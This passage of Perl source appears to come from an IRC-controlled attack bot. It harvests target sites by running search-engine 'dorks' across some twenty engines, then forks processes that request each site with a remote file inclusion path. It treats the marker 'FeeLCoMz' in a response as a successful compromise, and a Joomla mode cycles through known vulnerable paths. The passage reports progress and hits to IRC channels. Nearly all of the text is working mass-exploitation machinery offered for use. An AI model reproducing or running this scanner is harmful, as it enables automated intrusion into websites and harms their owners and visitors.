  my ($type,$chan,$bug,$dork,$tf,$engine) = @_;
  my @prosesbaru;
  my @semuatarget;
  my $hitung;
  my $num = 0;
  my @bugjoomla = bugjoomla($chan) if ($type == 3);
  unless (open(FILEZ,"< $tf")) { msge($chan,"FILE","EMPIKE TERKUNCI $tf!"); return; }
  while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
  close(FILEZ);
  f_hapus($tf);
  my @kotor = lnk_sortir(@semuatarget);
  my @target = lnk_filter(@kotor);
  if (!$engine) {
    irc_msg($chan,$colz{1}."TOTAL EMPIK0 $dork".$colz{2});
    irc_msg($chan,$colz{1}."ToTaL:0 ".scalar(@semuatarget)." 0,1JELEK:0 ".scalar(@kotor)." 0,1MANTAP:0 ".scalar(@target)." 9ID:0 $tf".$colz{2}." ".$colz{1}."ENCUK TEMPIKE!".$colz{2});
  }
  foreach my $situs (@target) {
    $hitung++;
    if ($hitung % $conf{rfipid} == 0) {
      foreach my $f (@prosesbaru) { waitpid($f,0); }
      $num = 0;
    }
    if ($type == 1 && $hitung % $conf{rficnt} == 0) {
      irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
      irc_msg($chan,$colz{3}.$hitung."0,1 ".scalar(@target).$colz{4});
    }
    if ($type != 1 && $hitung % $conf{rficnt2} == 0) {
      irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
      irc_msg($chan,"0,1 $engine0,1 ".$hitung."0,1 ". scalar(@target). " ");
    }
    $prosesbaru[$num] = fork();
    if ($prosesbaru[$num] == 0) {
      if ($type != 3) {
        my $q = bukasitus("http://".$situs.$bug.$fx29id."?");
        if ($q =~ /FeeLCoMz/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
      }
      else {
        foreach my $bug (@bugjoomla) {
          my $q = bukasitus("http://".$situs.$bug.$fx29id."?");
          if ($q =~ /FeeLCoMz/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
        }
      }
      exit(0);
    }
    $num++;
  }
  irc_msg($chan,$colz{1}."AGHHH UGHHH TERUSSS, AGHHHHH.... CROOOOT!!!".$colz{2}) if (!$engine);
  foreach my $f (@prosesbaru) { waitpid($f,0); }
  irc_msg($chan,"9,1 $engine 0 MONCROOOT! ") if ($engine);
}
###########################
##[ RUTIN SEARCH ENGINE ]##
###########################################################################
## GOOGLE  : AOL, *CompuServe, *Mahalo.com, *MySpace, *Netscape, *Ripple ##
## YAHOO   : AltaVista, AlltheWeb, GoodSearch, *Rectifi                  ##
## LIVE    : *A9.com, *Ms.Dewey, *Tafiti                                 ##
## ASK     : *iWon, Lycos                                                ##
## LAINNYA : Abacho, Clusty, Dmoz, Euroseek, Fireball, Hotbot, Mamma,    ##
##           Virgilio, Webcrawler, Webde                                 ##
## * Not implemented yet
###########################################################################
sub s_cari {
  #Type: 1 = Cari saja, 2 = Cari dan eksploit, 3 = Cari dan eksploit Joomla
  my ($chan,$dork,$nf,$bug,$type) = @_;
  my @engz;
  my $key = $dork;
  $dork = urlen($key);
  $engz[0]  = fork(); if ($engz[0]  == 0) { s_engine("google","Google",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[1]  = fork(); if ($engz[1]  == 0) { s_engine("yahoo","Yahoo",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[2]  = fork(); if ($engz[2]  == 0) { s_engine("live","Live",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[3]  = fork(); if ($engz[3]  == 0) { s_engine("ask","Ask",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[4]  = fork(); if ($engz[4]  == 0) { s_engine("google2","Google2",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[5]  = fork(); if ($engz[5]  == 0) { s_engine("altavista","Altavista",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[6]  = fork(); if ($engz[6]  == 0) { s_engine("alltheweb","AllTheWeb",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[7]  = fork(); if ($engz[7]  == 0) { s_engine("goodsrch","GoodSearch",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[8] = fork(); if ($engz[8] == 0) { s_engine("lycos","Lycos",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[9] = fork(); if ($engz[9] == 0) { s_engine("uol","Uol",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[10] = fork(); if ($engz[10] == 0) { s_engine("fireball","Fireball",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[11] = fork(); if ($engz[11] == 0) { s_engine("gigablast","Gigablast",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[12] = fork(); if ($engz[12] == 0) { s_engine("virgilio","Virgilio",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[13] = fork(); if ($engz[13] == 0) { s_engine("webde","Web.de",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[14] = fork(); if ($engz[14] == 0) { s_engine("mamma","Mamma",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[15] = fork(); if ($engz[15] == 0) { s_engine("clusty","Clusty",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[16] = fork(); if ($engz[16] == 0) { s_engine("dmoz","Dmoz",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[17] = fork(); if ($engz[17] == 0) { s_engine("euroseek","Euroseek",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[18] = fork(); if ($engz[18] == 0) { s_engine("hotbot","Hotbot",$type,$chan,$bug,$dork,$nf); exit; }
  $engz[19] = fork(); if ($engz[19] == 0) { s_engine("webcrawl","WebCrawler",$type,$chan,$bug,$dork,$nf); exit; }
  #$engz[20]  = fork(); if ($engz[1]  == 0) { s_engine("aol","Aol",$type,$chan,$bug,$dork,$nf); exit; }
  #$engz[21]  = fork(); if ($engz[2]  == 0) { s_engine("netscape","Netscape",$type,$chan,$bug,$dork,$nf); exit; }
  #$engz[22] = fork(); if ($engz[19] == 0) { s_engine("abacho","Abacho",$type,$chan,$bug,$dork,$nf); exit; }
  irc_msg($chan,$colz{1}."EMPIKE TAK CEK SIK.....".$colz{2});
  foreach my $e (@engz) { waitpid($e,0); }
}
sub s_engine {
    my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_;
    my @hc;
    if    ($f eq "google"   ) { @hc = se_google($chan,$dork,$ef); }
    elsif ($f eq "google2"  ) { @hc = se_google_m($chan,$dork,$ef); }
    elsif ($f eq "aol"      ) { @hc = se_aol($chan,$dork,$ef); } #Unused
    elsif ($f eq "netscape" ) { @hc = se_netscape($chan,$dork,$ef); } #Unused
    elsif ($f eq "yahoo"    ) { @hc = se_yahoo($chan,$dork,$ef); }
    elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); }
    elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); }
    elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); }
    elsif ($f eq "ask"      ) { @hc = se_ask($chan,$dork,$ef); }
    elsif ($f eq "fireball" ) { @hc = se_fireball($chan,$dork,$ef); }
    elsif ($f eq "gigablast") { @hc = se_gigablast($chan,$dork,$ef); }
    elsif ($f eq "lycos"    ) { @hc = se_lycos($chan,$dork,$ef); }
    elsif ($f eq "live"     ) { @hc = se_live($chan,$dork,$ef); }
    elsif ($f eq "hotbot"   ) { @hc = se_hotbot($chan,$dork,$ef); }
    elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); }
    elsif ($f eq "webde"    ) { @hc = se_webde($chan,$dork,$ef); }
    elsif ($f eq "uol"      ) { @hc = se_uol($chan,$dork,$ef); }
    elsif ($f eq "abacho"   ) { @hc = se_abacho($chan,$dork,$ef); } #Unused
    elsif ($f eq "mamma"    ) { @hc = se_mamma($chan,$dork,$ef); }
    elsif ($f eq "clusty"   ) { @hc = se_clusty($chan,$dork,$ef); }
    elsif ($f eq "dmoz"     ) { @hc = se_dmoz($chan,$dork,$ef); }
    elsif ($f eq "euroseek" ) { @hc = se_euroseek($chan,$dork,$ef); }
    elsif ($f eq "webcrawl" ) { @hc = se_webcrawler($chan,$dork,$ef); }
    my @cl = lnk_sortir(@hc);
    msgr($chan,$se,scalar(@hc),scalar(@cl));
    if (scalar(@cl) == 0) { exit; }
    if ($type == 1) { foreach my $e (@cl) { f_simpan($ef,$e); } }
    else {
      my $ef2 = $f.$ef;
      foreach my $e (@cl) { f_simpan($ef2,$e); }
      if    ($type == 2) { s_eksploit(2,$chan,$bug,$dork,$ef2,$se); }
      elsif ($type == 3) { s_eksploit(3,$chan,$bug,$dork,$ef2,$se); }
    }
}
##[ GOOGLE ]##
sub se_google {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 5000; my $p = 0;
  #my $url = "http://localhost/search/google.co.id.htm";
  my $url = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
  my $murl = "http://www.google.co.id";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q !~ /2008 Google/ ) { msge($chan,"Google","KENEK BAN COK, ENCUK SILITE!!"); @daftar = se_gbypass($chan,$key,$nf); }
  if ( $q =~ /dari sekitar <b>(.+?)<\/b>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Google","$h");
  }
  if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
      my $nxurl = $1; msgn($dbgchan,"Google","$nxurl");
  }
  while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  for ($p=50;$p<=$max;$p+=$num) {
    $nxurl = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
    $q = bukasitus($nxurl);
    while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
    if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar;  }
  }
  return @daftar;
}
##[ GOOGLE BYPASS ]##
sub se_gbypass {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 1000; my $p = 0;
  my $url = $bypass."?key=".$key."&max=".$max;
  my $nxurl;
  my $q = bukasitus($url);
  while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
  return @daftar;
}
##[ GOOGLE MULTI DOMAIN ]##
sub se_google_m {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 5000; my $p;
  my @doms = (
    "com","ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk",
    "ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg",
    "com.tr","com.tw","com.ua","co.uk","hu");
  my $dom = $doms[rand(scalar(@doms))];
  my $url = "http://www.google.".$dom."/search?&num=".$num."&q=".$key;
  my $murl = "http://www.google.".$dom;
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
      my $nxurl = $1;
      msgn($dbgchan,"Google.".$dom,$nxurl);
      msgn($chan,"Google.".$dom,"LaGi NyAri..");
  }
  while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  for ($p=50;$p<=$max;$p+=$num) {
    $nxurl = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&start=".$p."&sa=N";
    $q = bukasitus($nxurl);
    while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
    if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar;  }
  }
  return @daftar;
}
##[ AOL (Ga Pake) ]##
sub se_aol {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 1; my $max = 500; my $p;
  #my $url = "http://localhost/search/search.aol.com.htm";
  my $url = "http://search.aol.com/aol/search?query=".$key;
  my $murl = "http://search.aol.com/aol/";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /of&nbsp;about&nbsp;<b>(.*?)<\/b>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Aol","$h");
  }
  if ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
      my $nxurl = $1; msgn($dbgchan,"Aol","$nxurl");
  }
  while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
  while ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
##[ YAHOO ]##
sub se_yahoo {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 8000; my $p = "1";
  #my $url = "http://localhost/search/www.search.yahoo.com.htm";
  my $url = "http://www.search.yahoo.com/search?p=".$key."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$p;
  my $murl;
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /id=\"infotext\"><p> .*? of(.*?) for/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Yahoo","$h");
  }
  if ( $q =~ /999 Unable to process request at this time/ ) { msge($chan,"Yahoo","Banned!"); }
  if ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
      my $nxurl = $1; msgn($dbgchan,"Yahoo","$nxurl");
  }
  while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
  while ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
    $p++; if ( $p > $max ) { return @daftar; }
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
##[ ALTAVISTA ]##
sub se_altavista {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 100; my $max = 500; my $p;
  #my $url = "http://localhost/search/www.altavista.com.htm";
  my $url = "http://www.altavista.com/web/results?itag=ody&q=".$key."&kgs=0&kls=0&nbq=".$num."&stq=".$p;
  my $murl;
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
      my $nxurl = $1; msgn($dbgchan,"Altavista","$nxurl");
  }
  while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
  while ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
##[ ALLTHEWEB ]##
sub se_alltheweb {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 100; my $max = 20; my $p = 1;
  #my $url = "http://localhost/search/www.alltheweb.com.htm";
  my $url = "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=".$num."&q=".$key."&o=".$p;
  my $murl;
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<span class=\"ofSoMany\">(.+?)<\/span>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"AllTheWeb","$h");
  }
  if ( $q =~ /<a  href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
      my $nxurl = $1; msgn($dbgchan,"AllTheWeb","$nxurl");
  }
  while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
  while ( $q =~ /<a  href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
##[ GOODSEARCH ]##
sub se_goodsearch {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 0; my $max = 300; my $p = 1;
  #my $url = "http://localhost/search/www.goodsearch.com.html";
  my $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
  my $murl = "http://www.goodsearch.com/";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /of about <strong>(.+?)<\/strong>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"GoodSearch","$h");
  }
  if ( $q =~ m/&nbsp;<span class=\"search_numberpager_nextprev\"><a href=\"(.+?)\">Next<\/a>/ ) {
      my $nxurl = $1; msgn($dbgchan,"GoodSearch","$nxurl");
  }
  while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
  for ($p=2;$p<=$max;$p++) {
    $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
    $q = bukasitus($url);
    while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
    if ( $q !~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { return @daftar; }
  }
  return @daftar;
}
## UOL ##
sub se_uol {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 10; my $max = 5000; my $p;
  #my $url = "http://localhost/search/busca.uol.com.br.htm";
  my $url = "http://mundo.busca.uol.com.br/buscar.html?q=".$key."";
  my $murl = "http://busca.uol.com.br";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /results\">(.+?)<\/strong>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Uol","$h");
  }
  if ( $q =~ /<a href=\"(.*?)\" class=\"next\">/ ) {
      my $nxurl = htmltourl($1); msgn($dbgchan,"Uol","$nxurl");
  }
  while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  for ($p=1;$p<=$max;$p += $num) {
    $q = bukasitus("http://mundo.busca.uol.com.br/buscar.html?q=".$key."&start=".$p);
    while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
    if ( $q !~ /<dt><a href/ ) { return @daftar; }
  }
  return @daftar;
}
## LIVE ##
sub se_live {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 10; my $max = 100; my $p;
  #my $url = "http://localhost/search/search.live.com.htm";
  my $url = "http://search.live.com/results.aspx?q=".$key."&go";
  my $murl =  "http://search.live.com";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<a  class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
      my $nxurl = $1; msgn($dbgchan,"Live",htmltourl($nxurl));
  }
  while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
    my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
  }
  for ( $p=0;$p<=$max;$p += $num ) {
    $nxurl = $murl.htmltourl($1)."&go";
    $q = bukasitus("http://search.live.com/results.aspx?q=".$key."&first=".$p."&FORM=PORE");
    while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
      my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
    }
  }
  return @daftar;
}
## CLUSTY ##
sub se_clusty {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50;
  #my $url = "http://localhost/search/clusty.com.htm";
  my $url = "http://clusty.com/search?query=".$key."&input-form=clusty-simple&v:sources=webplus";
  my $murl = "http://clusty.com";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Clusty","$h");
  }
  if ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
      my $nxurl = $1; msgn($dbgchan,"Clusty",htmltourl($nxurl));
  }
  while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  while ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
##[ ASK ]##
sub se_ask {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 200; my $p = 1;
  #my $url = "http://localhost/search/www.ask.com.htm";
  my $url = "http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p;
  my $murl = "http://www.ask.com/web";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<a href=\"(.*?)\" class=\"(.+?)\" style=\"text-decoration:none\" >Next/ ) {
    my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Ask","$h");
  }
  while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
    my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
  }
  for ($p=1;$p<=$max;$p++) {
    $q = bukasitus("http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p);
    while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
      my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
    }
  }
  return @daftar;
}
## LYCOS ##
sub se_lycos {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 10; my $max = 200;  my $p;
  #my $url = "http://localhost/search/search.lycos.com.htm";
  my $url = "http://search.lycos.com/?loc=searchbox&tab=web&adf=on&query=".$key."&submit=image";
  my $murl =  "http://search.lycos.com/";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<a href=\"(.*?)\">Next/ ) {
    my $nxurl = $1; msgn($dbgchan,"Lycos","$nxurl");
  }
  while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
  for ( $p=0;$p<=$max;$p++ ) {
    $q = bukasitus("http://search.lycos.com/?query=".$key."&page2=".$p."&tab=web");
    while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
    if ( $q !~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { return @daftar; }
  }
  return @daftar;
}
## GIGABLAST ##
sub se_gigablast {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 5000;
  #my $url = "http://localhost/search/gigablast.com.htm";
  my $url = "http://www.gigablast.com/search?q=".$key."&n=".$max;
  my $murl = "http://www.gigablast.com";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Gigablast","$h");
  }
  if ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
      my $nxurl = $1; msgn($dbgchan,"Gigablast","$nxurl");
  }
  while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  while ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
## MAMMA ##
sub se_mamma {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 10; my $p = 1;
  #my $url = "http://localhost/search/mamma.com.htm";
  my $url = "http://mamma.com/Mamma?utfout=1&query=".$key."&qtype=0&rpp=50&cb=Mamma&index=".$p;
  my $murl;
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /Search Results<\/b> .*? of (.*?) for/ ) {
    my $h = $1; $h =~ s/,//g; msgt($chan,"Mamma","$h");
  }
  if ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
    my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Mamma","$h");
  }
  while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
    my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
  }
  while ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
      my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
    }
  }
  return @daftar;
}
## DMOZ ##
sub se_dmoz {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 20; my $max = 5000; my $p = 1;
  #my $url = "http://localhost/search/search.dmoz.org.htm";
  my $url = "http://search.dmoz.org/cgi-bin/search?search=".$key;
  my $murl = "http://search.dmoz.org/cgi-bin/";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /Open Directory Sites<\/b><\/font> \((.+?) of (.+?)\)/ ) {
    my $h = $2; $h =~ s/,//g; msgt($chan,"Dmoz","$h");
  }
  if ( $q =~ /<a href=\"(.*?)\">Next<\/a>\">/ ) {
      my $nxurl = $1; msgn($dbgchan,"Dmoz","$nxurl");
  }
  while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  while ( $q =~ /<a href=\"(.*?)\">Next<\/a>/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
## VIRGILIO ##
sub se_virgilio {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 20; my $max = 2000; my $p = 0;
  my $url =  "http://ricerca.alice.it/ricerca?qs=".$key."filter=1&site=&lr=&hits=".$num."&offset=".$p;
  my $murl = "http://ricerca.alice.it/";
  my $nxurl;
  my $q = bukasitus($url);
  if ( $q =~ /<span>(.*?) risultati per <b>/ ) {
    my $h = $1; $h =~ s/,//g; $h =~ s/\.//g;
    msgt($chan,"Virgilio","$h");
  }
  if ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
      my $nxurl = $1; msgn($dbgchan,"Virgilio","$nxurl");
  }
  while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
  while ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
    $nxurl = $murl.htmltourl($1);
    $q = bukasitus($nxurl);
    while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
  }
  return @daftar;
}
## WEBDE ##
sub se_webde {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 1; my $max = 100; my $p;
  for ( $p = 0;$p <= $max; $p += $num ) {
    my $url = "http://suche.web.de/search/web/?pageIndex=".$p."&su=".$key."&y=0&x=0&mc=suche\@web\@navigation\@zahlen.suche\@web";
    my $q = bukasitus($url);
    while ( $q =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g ) { push (@daftar, $1); }
    if ( $q !~ /<span class=\"url\">http:\/\/(.*?)<\/span>/ ) { return @daftar; }
  }
  return @daftar;
}
## FIREBALL ##
sub se_fireball {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 1; my $max = 500; my $p;
  for ( $p = 0;$p <= $max; $p += $num ) {
    my $url = "http://suche.fireball.de/cgi-bin/pursuit?pag=".$p."&query=".$key."&cat=fb_web&enc=utf-8";
    my $q = bukasitus($url);
    while ( $q =~ m/<a href=\"http:\/\/(.*?)\" target/g ) { push (@daftar, $1); }
    if ( $q !~ /<a href=\"http:\/\/(.*?)\" target/ ) { return @daftar; }
    if ( $q =~ /ergab keine Treffer in Deutsche Seiten/ ) { return @daftar; }
  }
  return @daftar;
}
## HOTBOT ##
sub se_hotbot {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 1; my $max = 200; my $p;
  for ( $p = 0;$p <= $max; $p += $num ) {
    my $url = "http://www.hotbot.com/?query=".$key."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$p;
    my $q = bukasitus($url);
    while ( $q =~ m/<span class=\"grn\">http:\/\/(.+?)<\/span>/g ) {
      my $l = $1 ; if ($l !~ /hotbot/) { push (@daftar, $l); }
    }
    if ( $q !~ /<span class=\"grn\">http:\/\/(.+?)<\/span>/ ) { return @daftar; }
  }
  return @daftar;
}
## NETSCAPE (Ga pake) ##
sub se_netscape {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 1; my $max = 10; my $p;
  for ( $p = 0;$p <= $max; $p += $num ) {
    my $url = "http://search.netscape.com/search/search?query=".$key."&page=".$p."&y=0&x=0&st=webresults";
    my $q = bukasitus($url);
    while ( $q =~ m/url\">http:\/\/(.*?)<\/p>/g ) {
      my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); }
    }
    if ( $q !~ /url\">http:\/\/(.*?)<\/p>/ ) { return @daftar; }
  }
  return @daftar;
}
## WEBCRAWLER ##
sub se_webcrawler {
  my ($chan,$key,$nf) = @_;
  my @daftar;
  my $num = 50; my $max = 500; my $p;
  for ( $p = 0;$p <= $max; $p++ ) {
    $num += $num;
    my $url = "http://www.webcrawler.com/webcrawler/ws/redir/qcat=Web/qkw=".$key."/qcoll=relevance/zoom=off/bepersistence=true/qi=".$num."/qk=50/page=".$p."/_iceUrlFlag=11?_IceUrl=true";
    my $q = bukasitus($url);
    while ( $q =~ m/status='http:\/\/(.*?)';/g ) {
      my $l = $1 ; if ($l !~ /webcrawler|google/) { push (@daftar, $l); }
    }
    if ( $q !~ /wsPagerNext/ ) { return @daftar; }
  }
  return @daftar;
}
## EUROSEEK ##
sub se_euroseek {
  my ($chan,$key,$nf) = @_;
  my @daftar;
